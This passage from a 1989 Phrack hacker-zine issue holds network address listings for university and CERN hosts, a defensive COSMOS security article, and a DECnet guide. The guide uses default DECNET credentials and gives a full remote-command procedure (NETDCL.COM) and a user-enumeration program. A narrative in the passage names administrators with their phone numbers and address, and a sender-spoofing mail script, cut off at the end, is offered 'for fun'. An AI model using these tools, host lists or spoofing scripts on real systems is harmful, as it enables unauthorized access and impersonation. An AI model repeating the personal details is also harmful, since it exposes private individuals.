0510 1 PSDS (1986)

0525 SGP Singapore

0525 2 Telepac

A 0525 211 668 8 TELEPAC Telepac Info

0530 NZ New Zealand

0530 1 P.S.S. (Pacnet)

0530 171 000 004 WAIKATO Univ of Waikato New Zealand

B 0530 197 000 016 ASMAIL

0547 Fr.Polyn.

0547 0 Tompac

0612 Ivory Coast

0612 2 Sytranpac

0647 Reunion

0647 0 Dompac/NIT

0655 ZA South Africe

0655 0 Saponet

D 0655 011 101 207 UNI‑NET

0714 Panama

0714 1 Intelpac

0722 Argentinia

0722 2 Arpac

I 0722 221 110 0171

0724 BR Brazil

0724 0 Interdata

0724 1 Renpac

D 0724 782 450 8 Nuclear Research Institute 0730 Chile

0730 0 Entel

0732 Colombia

0732 0

0742 French Guiana

0742 0 Dompac/NTI

0900 USA ?

0900 0 Dialnet

========================================

|

| Local addresses on KOMETH (0228 479 110 86):

|

| 11 KOMETH‑Informations

| 120 Modems 1200 bps (predefined numbers, some with a PW)

| 124 Modems 2400 bps ( " " , " " a PW)

| 130 Modems 300 bps ( " " , " " a PW)

| 1D0 RZ‑VAX (EZRZ1)

| 300 ETZ‑VAX (CUMULI)

| 520 ETHICS, Library database

| D11 PSI‑Informations

| C000 Time

| C025 X25 Gateway (RZU, with password)

| C011 NUZ‑Informations

| C100 RZU, VM/SP, full‑screen

|

| There are two information systems on the RZ‑VAX:

|

| MAC‑BBS BBS with Mac‑specific informations. Access for validated users | only (that means that you have to type in your name, address and | whether you're a student at the ETH or not and then wait a few | days).

| (Username=MAC)

| VisInfo Informations server of the VIS (Verein der InformatikStudenten) | Contains some boards with mail from several networks and from | local sources. Has a CHAT (closed during prime time hours). Free | access.

| (Username=VISINFO)

|

========================================

|

| Local addresses at CERN (0228 468 114 0510):

|

| 17 Lyon (own network)

| 23 PAD

| 31 VXOMEG

| 41 Wisconsin/Madison

| 42 CERNLINE 193

| 45 DECserver

| 51 ALEPH

| 56 MERLIN VAX

| 61 (Prompt )

| 72 Wylbur / VM

| 100 Wylbur / VM

| 101 VM/370 CERNVM

| 102 VM/370 CERNVMB

| 103 VM/370 CERNVM

| 110 VXLDB1 VAX 8650 VMS 4.6

| 111 Information

| 112 VXSB

| 115 VXLDB1

| 120 Service CAD_CAM (VAX 8650+VAX785)/SYSTEME=VMS 4.6

| 121 CAD_CAM

| 122 VXCERN

| 123 VXCERN

| 124 BSD

| 125 CERNVM

| 127 PAD

| 130 L3 test beam VXC3

| 137 ALEPH‑TPC

| 140 VXEPEL

| 141 DECserver 200 ("user friendly")

| 142 CERNADD

| 146 VXEPEL

| 147 Uni Genf TEC VAXTEC

| 151 CCVAX / DECserver 200

| 152 Uni Genf WA70

| 154 ALEPH 750 Fastbus VAX

| 161 MCR

| 162 MCR

| 166 VXWA80

| 167 cernvax

| 170 VXINFN

| 175 ALEPH

| 176 MCR with HELP

| X29 X25 Gateway

|

========================================

|

| Addresses on Merit (0228 468 114 0583):

|

| The principal host computers on Merit are:

|

| Name System/machine Organization Location

| ‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑

| MSUnet‑IBM VM/CMS IBM 3090‑180 Michigan State Univ East Lansing | OU Multics Honeywell Oakland Univ Rochester | UB MTS IBM 3090‑400 Univ of Michigan Ann Arbor | UM MTS IBM 3090‑400 Univ of Michigan Ann Arbor | WM DECsystem‑10 Western Michigan Univ Kalamazoo | WU MTS Amdahl 470V/8 Wayne State Univ Detroit |

| If you have a question about the use of the Merit Network, call | (313) 764‑9423 and ask for a user consultant.

|

| Other host computers and services available on the Merit network: |

| Autonet CMU‑Cyber CMU‑IBM Datapac | DIALOUT‑AA DIAL1200‑AA DIAL2400‑AA DIAL300‑AA | EMU‑VAX IGW ITI MAGNET | MSU‑CLSI MSU‑CLVAX1 MSU‑EGRNET MSU‑IBM | MSU MTU MTUS5 OU‑SecsNet | RPI RUAC Survey Telenet | UM‑Annex UM‑CIC UM‑CLINFO UM‑dippy | UM‑DSC UM‑EnginHarris UM‑MMVAX UM‑Public‑Service | UM‑QuickSlides UM‑RAVAX UM‑zippy UMD‑LIB | UMLIB UMLIB‑300 WAYNEST1 WAYNEST2 | WMU‑CAE WMU‑Kanga WMU‑Pooh WMU‑Puff | WMU‑Tigger WMU‑Winnie WSU‑CSVAX WSU‑ET | WSUNET ZOOnet‑KCollege ZOOnet‑KVCC ZOOnet‑Nazareth |

| Some of the other computers and services which can be accessed via Telenet, | Autonet, and Datapac:

|

| ABA/NET ACP ADPNS‑261 ADPNS‑3 | ADPNS‑446 ADPNS‑9 Alberta ARTFL | Automail‑23 Automail‑297 Boeing British‑Columbia | BRS Cal‑Berkeley Calgary Caltech‑HEP | Carnegie‑DEC‑20 Carnegie‑MICOM Carnegie‑11/45 CompuServe | Comshare Cornell Dalhousie DatapacInfo | Dialcom Dialog Dow‑Jones Guelph | Guelph‑Cosy Illinois Illinois‑Cyber LEXIS | Manitoba Maryland‑Unix McGill MGH

| Minnesota‑Cyber Minnesota‑VAX MIT‑Multics MIT‑VM | Montreal Natl‑Lib‑Med NCAR‑Telenet New‑Brunswick | Newsnet NJIT‑EIES NLM NLM‑MCS | Notre‑Dame NRC NYTimes OAG

| Queens Rice SDC SFU

COSMOS

==Phrack Inc.==

Volume Three, Issue 27, File 5 of 12

COSMOS

COmputer System for Mainframe OperationS

Part Two

by King Arthur

This article will present solutions to the computer security problems presented in my previous file. The following are simple but often neglected items which if properly treated can immensely increase your company's computer security. These points apply not merely in regards to COSMOS, but to all computers in all companies.

A) Dial‑Up Security:

When securing a computer system, regardless of its type, it's important to remember this: the only way someone can remotely access your system is if there is a dial‑up line leading to that system. If your system has a dial‑up, make sure that you have taken every possible precaution to secure that line. "The one piece of advice I would give is: Be careful with dial‑up lines," says Bellcore's Ed Pinnes.

Dave Imparato, Manager of Database Management at New York Telephone, says, "We have devices that sit in front of our computers that you have to gain access to. In order to even get to COSMOS, there are three or four levels of security you have to go through, and that's before you even get to the system."

Rules for protection of Dial‑Up lines:

1. Have as few dial‑up lines as possible. Private lines or direct connections are often a viable replacement for dial‑up lines.

2. If you must have phone lines going to your computer, use external hardware, if possible. For instance, the Datakit Virtual Circuit Switch (VCS) will require a user to specify an "access password" and a system destination to specify which system you are calling. The VCS would then connect you to the requested system which would prompt you for a login and password. Using hardware similar to this serves a double purpose:

A) It is harder for someone to get into your computer, due to additional passwords;

B) Employees need only dial a single number to access a number of systems.

Another good type of hardware is a callback modem. A callback modem will prompt users for a login and password. If these are correct, the modem will automatically callback to a predetermined number. At that point you would login to the computer. The advantage of callback is that unless a call is placed from a certain phone, there is no way to connect. Unfortunately, this is not always efficient for systems with large numbers of users.

Lastly, and the most effective means of access, is to have a system which does not identify itself. A caller has to enter a secret password, which doesn't display on the screen. If a caller doesn't type the correct password, the system will hang up, without ever telling the caller what has happened.

3. If you ever detect "hackers" calling a certain number, it is advisable to change that number. Phone numbers should be unlisted. According to a hacker, he once got the number to an AT&T computer by asking directory assistance for the number of AT&T at 976 Main Street.

4. If dial‑up lines aren't used on nights or weekends, they should be disabled. Computer hackers usually conduct their "business" on nights or weekends. The COSMOS system has the ability to restrict access by time of day.

B) Password Security:

Using the analogy between a computer and a file cabinet, you can compare a password to the lock on your file cabinet. By having accounts with no passwords you are, in effect, leaving your file cabinet wide open. A system's users will often want passwords that are easy to remember. This is not an advisable idea, especially for a database system with many users. The first passwords tried by hackers are the obvious. For instance if MF01 is known to be the user name for the frame room, a hacker might try MF01, FRAME, MDF, or MAINFRAME as passwords. If it's known to a hacker that the supervisor at the MDF is Peter Pinkerton, PETE or PINKERTON would not be very good passwords.

Rules for password selection:

1. Passwords should be chosen by system administrators or the like. Users will often choose passwords which provide no security. They should not be within the reach of everybody in the computer room, but instead should be sent via company mail to the proper departments.

2. Passwords should be changed frequently, but on an irregular basis ‑‑ every four to seven weeks is advisable. Department supervisors should be notified of password changes via mail, a week in advance. This would ensure that all employees are aware of the change at the proper time. One thing you don't want is mass confusion, where everybody is trying to figure out why they can't access their computers.

3. System administrators' passwords should be changed twice as often because they can allow access to all system resources. If possible, system administrator accounts should be restricted from logging in on a dial‑up line.

4. A password should NEVER be the same as the account name. Make sure that ALL system defaults are changed.

5. Your best bet is to make passwords a random series of letters and numbers. For example 3CB06W1, Q9IF0L4, or F4W21D0. All passwords need not be the same length or format. Imparato says, "We built a program in a PC that generates different security passwords for different systems and makes sure there's no duplication."

6. It's important to change passwords whenever an employee leaves the company or even changes departments. Imparato says, "When managers leave our organization, we make sure we change those passwords which are necessary to operate the system."

7. The Unix operating system has a built‑in "password aging" feature, which requires a mandatory change of passwords after a period of time. If you run any Unix‑based systems, it's important to activate password aging.

8. When you feel you have experienced a problem, change ALL passwords, not just those passwords involved with the incident.

C) Site security:

There have been a number of articles written by hackers and published in 2600 Magazine dealing with garbage picking or what hackers call "trashing". It's important to keep track of what you throw out. In many companies, proprietary operations manuals are thrown out. COSMOS itself is not a user‑friendly system. In other words, without previous exposure to the system it would be very difficult to operate. Bellcore's Beverly Cruse says, "COSMOS is used in so many places around the country, I wouldn't be surprised if they found books... in the garbage, especially after divestiture. One interesting thing about a COSMOS article written by hackers, is that there was a lot of obsolete information, so it shows that wherever the information came from... it was old."

Rules for site security:

1. Although it may seem evident, employees should be required to show proper identification when entering terminal rooms or computer facilities. It's doubtful that a hacker would ever attempt to infiltrate any office, but hackers aren't the only people you have to worry about.

2. Urge employees to memorize login sequences. It's a bad idea for passwords to be scribbled on bits of paper taped to terminals. Eventually, one of those scraps may fall into the wrong hands.

3. Garbage should be protected as much as possible. If you use a private pick‑up, keep garbage in loading docks, basements, or fenced‑off areas. If you put your garbage out for public sanitation department pick‑up, it's a good idea to shred sensitive materials.

4. Before throwing out old manuals or books, see if another department could make use of them. The more employees familiar with the system, the less of a chance that there will be a security problem.

5. Printing terminals should be inspected to make sure that passwords are not readable. If passwords are found to echo, check to see if the duplex is correct. Some operating systems allow you to configure dial‑ups for printer use.

D) Employee Security:

When a hacker impersonates an employee, unless he is not successful there is a great chance the incident will go unreported. Even if the hacker doesn't sound like he knows what he's talking about, employees will often excuse the call as an unintelligent or uninformed person. It's unpleasant to have to worry about every call with an unfamiliar voice on the other end of the phone, but it is necessary.

Rules for employee security:

1. When making an inter‑departmental call, always identify yourself with: 1) Your name; 2) Your title; and 3) Your department and location.

2. Be suspicious of callers who sound like children, or those who ask you questions that are out of the ordinary. Whenever someone seems suspicious, get their supervisor's name and a callback number. Don't discuss anything sensitive until you can verify their identity. Don't ever discuss passwords over the phone.

3. When there is a security problem with a system, send notices to all users instructing them not to discuss the system over the phone, especially if they do not already know the person to whom they are talking.

4. Remind all dial‑up users of systems, before hanging up.

5. If security‑minded posters are put up around the workplace, employees are bound to take more care in their work and in conversations on the phone.

6. If managers distribute this and other computer security articles to department supervisors employee security will be increased.

E) General Security:

Bellcore recently sent a package to all system administrators of COSMOS systems. The package detailed security procedures which applied to COSMOS and Unix‑based systems. If you are a recipient of this package, you should re‑read it thoroughly to ensure that your systems are secure. Cruse says, "Last year... I had a call from someone within an operating company with a COSMOS security problem. All we really did was give them documentation which reminded them of existing security features... There is built‑in security in the COSNIX operating system... We really didn't give them anything new at the time. The features were already there; we gave them the recommendation that they implement all of them."

If you feel you may not be using available security features to the fullest, contact the vendors of your computer systems and request documentation on security. Find out if there are security features that you may not be currently taking advantage of. There are also third party software companies that sell security packages for various operating systems and computers.

Computer security is a very delicate subject. Many people try to pretend that there is no such thing as computer crime. Since the problem exists, the best thing to do is to study the problems and figure out the best possible solutions. If more people were to write or report about computer security, it would be easier for everyone else to protect themselves. I would like to see Bellcore publish security guidelines, available to the entire telecommunications industry. Keep in mind, a chain is only as strong as its weakest link.

Looking Around In DECnet

==Phrack Inc.==

Volume Three, Issue 27, File 6 of 12

<<<<<<<<<<<<<<<<<<<<<<*

<<<

<<< Looking Around In DECNET >>>

<<<

<<< by Deep Thought of West Germany >>>

<<<

<<< June 1, 1989 >>>

<<<

<<<<<<<<<<<<<<<<<<<<<<*

Disclaimer: I take no responsibility for any use or abuse of the information contained in this article, nor for any damage caused by the use of methods described. DECNET, VAX, and VMS are possibly registered trademarks of Digital Equipment Corporation.

There comes a time when every somewhat intelligent programmer asks: Is hacking difficult? Now, being in a university network, why don't just give it a try? Since one is an official student and somewhat authorized to use the computing facilities, testing the modern means of communication should cause no trouble.

Well, you start searching on those nodes, you have official access for interesting programs and procedures. And you find: Netdcl, just one program of many, that obviously enables one to run commands on remote nodes without having an account on these nodes. A really interesting thing, as nearly everything is allowed that a normal user can do.

The dear reader may start to think: Wasn't there always the shouting about VMS being the MOST SECURE computer system, making it UNPENETRABLE to hackers? Ok, cool down, this feature can be disabled and so, you think, if someone has super secret data on his VAX, he will stop any use or abuse of this feature.

2nd Act ‑‑ Somewhere one has heard about some mystery things called system calls. Since one always wanted to know about how to react on keystrokes on a VAX (really being not trivial!) you start reading the manuals more precisely to find out how to do it in Pascal.

Randomly on browsing thru the pages you discover functions which deliver information about Userids. This comes in handy, as a friend engaged in university politics wants to distribute a leaflet by email to all registered users. In fact, it's completely unproblematic to gain a list of all users. An example program, although written in Assembler, is even contained in the manuals. Enjoy a list of 1000 Userids complete with information about network access rights. The Pascal program is contained in Appendix B (later in this file).

Sorry, passwords are not stored in this list. Even the Sysop can't access them, so that's no great loss. Guess what passwords many accounts have? Sure, just try the username. It's really amazing how ignorant users can be. Of course this is a problem of group‑accounts, that many users have access to and must know the password. Nevertheless, the hole is there.

The real hacker, once he has logged in on such an account surely finds ways to gain system privilege. This requires in‑depth knowledge of the Kernel of VMS and is another story I won't deal with.

What is DECNET?

~~~~~~~~~~~~~~~

DECNET is the means, by which computers from Digital Equipment Corporation (DEC) can be connected to each other. Each computer in this network has an address which is normally given by x.y where x is the area number (an integer) and y is the node number in this area which ranges from 1 to 1023. To access DECNET nodes, one specifies just one number, which can be computed from x and y by the following formula:

nodenumber = x * 1024 + y

Often nodes, especially local nodes (having the same area number as your current node) have names assigned to them so they can be memorized more easily.

Interesting DECNET Commands

~~~~~~~~~~~~~~~~~~~~~~~~~~~

To get a (first) list of available DECNET nodes, try the command

$ SHOW NET

The $ (as in the following examples) is the default prompt of VMS and should not be entered. This Command will give you a list of (hopefully) reachable nodes. All lines of the output contain the network address in the form x.y and normally a name which this node is known by.

Your current node is mentioned in the first line in "VAX/VMS network status for local node X.Y Name". In most cases you will then just see local nodes listed and a line saying "The next hop to the nearest area router is node XX.YY". This node contains more information about the DECNET than the node you are currently on. If you have an account on the specified node, log on there and try again. If not, well, play with the local nodes listed and look at the command NCP shown later.

Now, what can you do with those nodes that were mentioned in the output? First command is

$ SET HOST <node>

Where <node> is either a nodename or a nodenumber (see above). Thus, if SDIVAX was listed in the SHOW NET list as 42.13, then you may try both SET HOST SDIVAX or SET HOST 43021 (42*1024+13 = 43021). Probably you'll get that ugly Username: prompt. You're on your own then.

Second thing you can do with DECNET is email. On VMS the MAIL program can send mail to other users. If you and your friend both have accounts on the same DECNET, you can send him mail if you know his nodename or nodenumber by specifying SDIVAX::FREDDY or 43021::FREDDY.

Then there is PHONE. This is a utility to talk to another (or several) user(s) on a DECNET. If you want to call Freddy, just type PHONE SDIVAX::FREDDY. If he is logged in, his terminal will ring and if he answers his phone (with PHONE ANSWER) you may chat with him. PHONE has another nice feature built in: You may ask for a list of active users on a remote name by %DIR SDIVAX. See the online help on PHONE for further details.

The next really mighty DECNET facility is remote file access. Valid filenames in VMS consist of the components node, disk, directory and filename. An example for a valid filename is SDIVAX::DISK$2:[NASA.SECRET]SDI.DOC where some components may be omitted and default values are used instead.

File names including the node specification may be used in nearly all VMS commands examples being DIR, TYPE and COPY. Access to the specified file is granted, if the protection of the file allows access by world, or if the owner of the file is the user DECNET. This pseudo userid is available on every VAX and has the password DECNET. Access to that account is limited to network processing so you can't just log in with Username=DECNET, password=DECNET. By default a special directory owned by the User DECNET exists on each node. This directory can be accessed by just specifying the nodename without any disk or directory information, as in

$ DIR SDIVAX::

If users played too much with this feature, the directory may be protected or otherwise disabled.

The last feature described here is the remote command processing facility. If you try to open a file with the specification

$ SDIVAX::"task=foo.com"

Instead of opening the DCL procedure, foo.com will be executed. To make use of this feature easily, programs have been written to interactively communicate with a remote host. The command procedure NETDCL.COM does this task and is contained in the Appendix A (seen later in this file. Look at this DCL‑Procedure to learn more about DECNET features.

The Key To Universal Knowledge

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There is a pearl under the programs on a VAX. It's called NCP and will give readily information about the whole DECNET. You start this program either by MCR NCP or by doing a SET DEF SYS$SYSTEM and RUN NCP. Use the on‑line Help provided in NCP (which means Network Control Program) to learn more.

NCP> SHOW KNOWN NODES

Provides a list of all nodes known on your current node, including the names you may use as node specifications. But there is more: You may connect to another node's database and get a list of nodes which are known at the remote node with

NCP> SET EXEC SDIVAX

And then again the SHOW KNOWN NODES command. This feature should provide you with a nearly infinite list of node names and node numbers.

Conclusion

~~~~~~~~~~

There are many nice features available under DECNET. Probably I don't know all, but I hope this article showed you the mighty tools available on VMS to make network life easier.

WARNING: The author has had bad experiences with some node administrators, who didn't like their machines being contacted over DECNET. Yes, that's the drawback, each DECNET activity is written to a protocol file that is printed and deleted every month. So you should be careful in using DECNET.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

APPENDIX A:

The Procedure NETDCL.COM, sometimes called TELL.COM, NET.COM ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ IF f$mode() .EQS. "NETWORK" THEN GOTO network

$ IF p1 .EQS. "" THEN READ/PROMPT="_Node: " sys$command p1

$ nodespec = p1 ‑ "::"

$ nodename = f$extract(0,f$locate("""",nodespec),nodespec)

$! include the following line for "hard cases"

$! nodespec = nodespec+"""decnet decnet"""

$ ON WARNING THEN CONTINUE

$ CLOSE/ERR=open_server dcl_server

$open_server:

$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"/ERROR=open_failure $ ON WARNING THEN GOTO exit

$flush_output:

$ READ dcl_server record

$ IF record .EQS. "SEND_ME_A_COMMAND" ‑

THEN GOTO send_command

$ WRITE sys$output record

$ GOTO flush_output

$send_command:

$ IF p2 .NES. "" THEN GOTO single_command

$ READ sys$command record /PROMPT="''nodename'> " /END=exit

$ record := 'record

$ IF record .EQS. "EXIT" THEN GOTO exit

$ WRITE dcl_server record

$ GOTO flush_output

$single_command:

$ command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'

$ WRITE dcl_server command

$single_flush:

$ READ dcl_server record

$ IF record .EQS. "SEND_ME_A_COMMAND"‑

$ THEN GOTO exit

$ WRITE sys$output record

$ GOTO single_flush

$open_failure:

$ ON WARNING THEN EXIT

$ COPY/LOG Netdcl.Com 'nodespec'::

$ WAIT 0:0:1

$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"

$ ON WARNING THEN GOTO exit

$ GOTO flush_output

$exit:

$ CLOSE dcl_server

$ EXIT

$network:

$ OPEN/READ/WRITE dcl_link sys$net

$ SET NOON

$ dcl_verify = 'f$verify(0)'

$ DEFINE sys$output dcl_link:

$server_loop:

$ WRITE dcl_link "SEND_ME_A_COMMAND"

$ READ dcl_link dcl_string /END_OF_FILE=server_exit /ERROR=server_exit $ 'dcl_string'

$ GOTO server_loop

$server_exit:

$ IF dcl_verify THEN set verify

$ CLOSE dcl_link

$ DEASSIGN sys$output

$ EXIT

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

APPENDIX B

ALLUSER.PAS ‑ Show all registered users

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{

* alluser.pas ‑ get names of all users

* by Deep, 1989

* This program is freely redistributable as long no modifications are made * DISCLAIMER: I take no responsibility for any use or abuse of this * program. It is given for informational purpose only. *

* program history:

* 04‑May‑89 started

* 02‑Jun‑89 clean up of code

}

[inherit ('sys$library:starlet.pen')]

program alluser(input,output);

type $word = [word] 0..65535;

$byte = [byte] 0..255;

$quadword = record

lo,hi : unsigned;

end;

$uquad = record

lo,hi : unsigned;

end;

var

id: unsigned;

status, status2: integer;

length: $WORD;

attrib,context,context2,context3: unsigned;

ident, ident2: unsigned;

name: varying [512] of char;

holder: $uquad;

begin

writeln('Alluser ‑ use at your own risk!');

status := SS$_NORMAL;

{ id = ‑1 selects next identifier }

id := ‑1;

context := 0;

while (status <> SS$_NOSUCHID) do

begin

{ find next identifier }

status := $idtoasc(id,name.length,name.body,ident,attrib,context); if (status <> SS$_NOSUCHID) then begin

write(pad(name,' ',16));

if (ident div (65536*32768) > 0) then

{ it's a rights‑list, so print the hex‑value of the identifier } begin

writeln(oct(ident,12));

context2 := 0;

context3 := 0;

{ find all holders of this right }

repeat

holder := zero;

status2 := $find_holder(ident,holder,attrib,context2); if (holder.lo <> 0) then begin

ident2 := ident;

{ get UIC and username }

status := $idtoasc(holder.lo,name.length,name.body,ident2 ,attrib,context3);

write(' ',pad(name,' ',16)); writeln('[',oct(holder.lo div 65536,3),',' ,oct(holder.lo mod 65536,3),']'); end;

until (holder.lo = 0);

end

else

{ it's a UIC, so translate to [grp,user] }

begin

writeln('[',oct(ident div 65536,3),',',oct(ident mod 65536,3),']'); end;

end;

end;

end.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This article has been brought to you by Deep Thought of West Germany. If you liked this article, grant me access if I once drop in your BBS!

________________________________________

The Making Of A Hacker

==Phrack Inc.==

Volume Three, Issue 27, File 7 of 12

<:><:><:><:><:><:><:><:><

<:>

<:> The Making Of A Hacker <:>

<:>

<:> by Framstag of West Germany <:>

<:>

<:> June 2, 1989 <:>

<:>

<:><:><:><:><:><:><:><:><

Prologue For None VMS Users ~~~~~~~~~~~~~~~~~~~~~~~~~~~

DECnet is the network for DEC machines, in most cases you can say VAXes. DECnet allows you to do: ‑ e‑mail

‑ file transfer ‑ remote login ‑ remote command ‑ remote job entry ‑ PHONE

PHONE is an interactive communication between users and is equal to TALK on UNIX or a "deluxe"‑CHAT on VM/CMS.

BELWUE, the university network of the state Baden‑Wuerttemberg in West Germany contains (besides other networks) a DECnet with about 400 VAXes. On every VAX there is standard‑account called DECNET with pw:= DECNET, which is not reachable via remote login. This account is provided for several DECnet‑Utilities and as a pseudo‑guest‑account. The DECNET‑account has very restricted privileges: You cannot edit a file or make another remote login.

The HELP‑menu is equipped by the system and is similar to the MAN command on UNIX.

More information on DECnet can be found in "Looking Around In DECnet" by Deep Thought in this very issue of Phrack Inc.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Here, at the University of Ulm, we have an *incredibly* ignorant computer center staff, with an even bigger lack of system‑literature (besides the 80 kg of VAX/VMS‑manuals). The active may search for information by himself, which is over the level of "run," "FORTRAN," or "logout." My good luck that I have other accounts in the BELWUE‑DECnet, where more information is offered for the users. I am a regular student in Ulm and all my accounts are completely legal and corresponding to the German laws. I don't call myself a "hacker," I feel more like a "user" (...it's more a defining‑problem).

In the HELP‑menu in a host in Tuebingen I found the file netdcl.com and the corresponding explanation, which sends commands to the DECNET‑Account of other VAXes and executes them there (remote command). The explanation in the HELP‑menu was idiot‑proof ‑‑ therefore for me, too :‑)

With the command "$ mcr ncp show known nodes" you can obtain a list of all netwide active VAXes, as is generally known, and so I pinged all these VAXes to look for more information for a knowledge‑thirsty user. With "help", "dir" and other similar commands I look around on those DECnet accounts, always watching for topics related to the BELWUE‑network. It's a pity, that 2/3 of all VAXes have locked the DECNET‑Account for NETDCL.COM. Their system managers are probably afraid of unauthorized access, but I cannot imagine how there could be such an unauthorized access, because you cannot log on this account ‑‑ no chance for trojan horses, etc.

Some system managers called me back after I visited their VAX to chat with me about the network and asked me if they could help me in any way. One sysop from Stuttgart even sent me a version of NETDCL.COM for the ULTRIX operation system.

Then, after a month, the H O R R O R came over me in shape of a the following mail:

‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑

From: TUEBINGEN::SYSTEM 31‑MAY‑1989 15:31:11.38

To: FRAMSTAG

CC:

Subj: don't make any crap, or you'll be kicked out!

From: ITTGPX::SYSTEM 29‑MAY‑1989 16:46

To: TUEBINGEN::SYSTEM

Subj: System‑breaking‑in 01‑May‑1989

To the system manager of the Computer TUEBINGEN,

On May 1st 1989 we had a System‑breaking‑in in our DECNET‑account, which started from your machine. By help of our accounting we ascertained your user FRAMSTAG to have emulated an interactive log‑on on our backbone‑node and on every machine of our VAX‑cluster with the "trojan horse" NETDCL.COM. Give us this user's name and address and dear up the occurrence completely. We point out that the user is punishable. In case of repetition we would be forced to take corresponding measures. We will check whether our system got injured. If not, this time we will disregard any measure. Inform us via DECnet about your investigation results ‑‑ we are attainable by the nodenumber 1084::system

Dipl.‑Ing. Michael Hager

‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑

My system manager threatened me with the deleting of my account, if I would not immediately enlighten the affair. *Gulp*!

I was conscious about my innocence, but how to tell it to the others? I explained, step by step, everything to my system manager. He then understood after a while, but the criminal procedure still hovered over me... so, I took quickly to my keyboard, to compose file of explanations and to send it to that angry system manager in Stuttgart (node 1084 is an institute there). But no way out: He had run out of disk quota and my explanation‑mail sailed into the nirwana:

‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑

$ mail explanation

To: 1084::system

%MAIL‑E, error sending to user SYSTEM at 1084

%MAIL‑E‑OPENOUT, error opening SYS$SYSROOT:[SYSMGR]MAIL$00040092594FD194.MAI; as output

‑RMS‑E‑CRE, ACP file create failed

‑SYSTEM‑F‑EXDISKQUOTA, disk quota exceeded

‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑

Also the attempt of a connection with the PHONE‑facilty failed: In his borderless hacker‑paranoia, he cut off his PHONE... and nowhere is a list with the REAL‑addresses of the virtual DECnet‑addresses available (to prevent hacking). Now I stood there with the brand "DANGEROUS HACKER!" and I had no chance to vindicate myself. I poured out my troubles to an acquaintance of mine, who is a sysop in the computer‑center in Freiburg. He asked other sysops and managers thru the whole BELWUE‑network until someone gave him a telephone number after a few days ‑‑ and that was the right one!

I phoned to this Hager and told him what I had done with his DECnet‑account and also what NOT. I wanted to know which crime I had committed. He promptly cancelled all of his reproaches, but he did not excuse his defamous incriminations. I entreated him to inform my system manager in Tuebingen that I have done nothing illegal and to stop him from erasing my account. This happens already to a fellow student of mine (in this case, Hager was also guilty). He promised me that he would officially cancel his reproaches.

After over a week this doesn't happen (I'm allowed to use my account further on). In return for it, I received a new mail from Hager on another account of mine:

‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑

From: 1084::HAGER 1‑JUN‑1989 12:51

To: 50180::STUD_11

Subj: System‑breaking‑in

On June 1st 1989 you have committed a system‑breaking‑in on at least one of our VAXes. We were able to register this occurrence. We would be forced to take further measure if you did not dear up the occurrence completely until June 6th.

Of course the expenses involved would be imposed on you. Hence enlightenment must be in your own interest.

We are attainable via DECnet‑mail with the address 1084::HAGER or via following address:

Institut fuer Technische Thermodynamik und Thermische Verfahrenstechnik Dipl.‑Ing. M. Hager Tel.: 0711/685‑6109

Dipl.‑Ing. M. Mrzyglod Tel.: 0711/685‑3398

Pfaffenwaldring 9/10‑1

7000 Stuttgart‑80

M. Hager

M. Mrzyglod

‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑‑ ‑‑

This was the reaction of my attempt: "$ PHONE 1084::SYSTEM". I have not answered to this mail. I AM SICK OF IT!

Framstag

(FRAMSTAG@DTUPEV5A.BITNET)

With Special Thanks For Translation Assistance To Schrulli B.

Sending Fakemail In Unix

==Phrack Inc.==

Volume Three, Issue 27, File 8 of 12

<><><><><><><><><><><><><><><><>

<><><><>

<><><> Sending Fake Mail In Unix <><><>

<><>

<> by Dark OverLord <>

<><>

<><><> May 26, 1989 <><><>

<><><><>

<><><><><><><><><><><><><><><><>

Here is a shell script that can be use to send fakemail from any Unix system. Have fun and stay out of trouble.

‑Dark Overlord

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑= Cut here ‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

! /bin/sh

#Mfakemail ‑ A shell script to send fakemail.

#M##M#Met up the path.

PATH=/usr/ucb:/bin:$HOME/Bin

#Marse the command line

case $ in

0)echo "USAGE: user@host [ from@somewhere ] [ mailer_host ]" >& 2 exit 1

;;

1)mailto=$1

from="person@campus"

mailerhost=localhost

;;

2)mailto=$1

from=$2

mailerhost=localhost

;;

3)mailto=$1

from=$2

mailerhost=$3

;;

*)echo "USAGE: user@host [ from@somewhere ] [ mailer_host" >& 2 exit 1

;;

esac

#Mreate a header for sendmail

cat <<E!O!F!> /tmp/cli$$

helo $mailerhost

mail from:$from<$from>

rcpt to: $mailto <$mailto>

data

From: $from

To: $mailto

Subject:

Status: RO

E!O!F!

#Mdit the mailer

vi /tmp/cli$$

#Mdd a ending for the mailer

cat <<E!O!F!>> /tmp/cli$$

.

quit

E!O!F!

#Monnect to the remote host's sendmail daemon

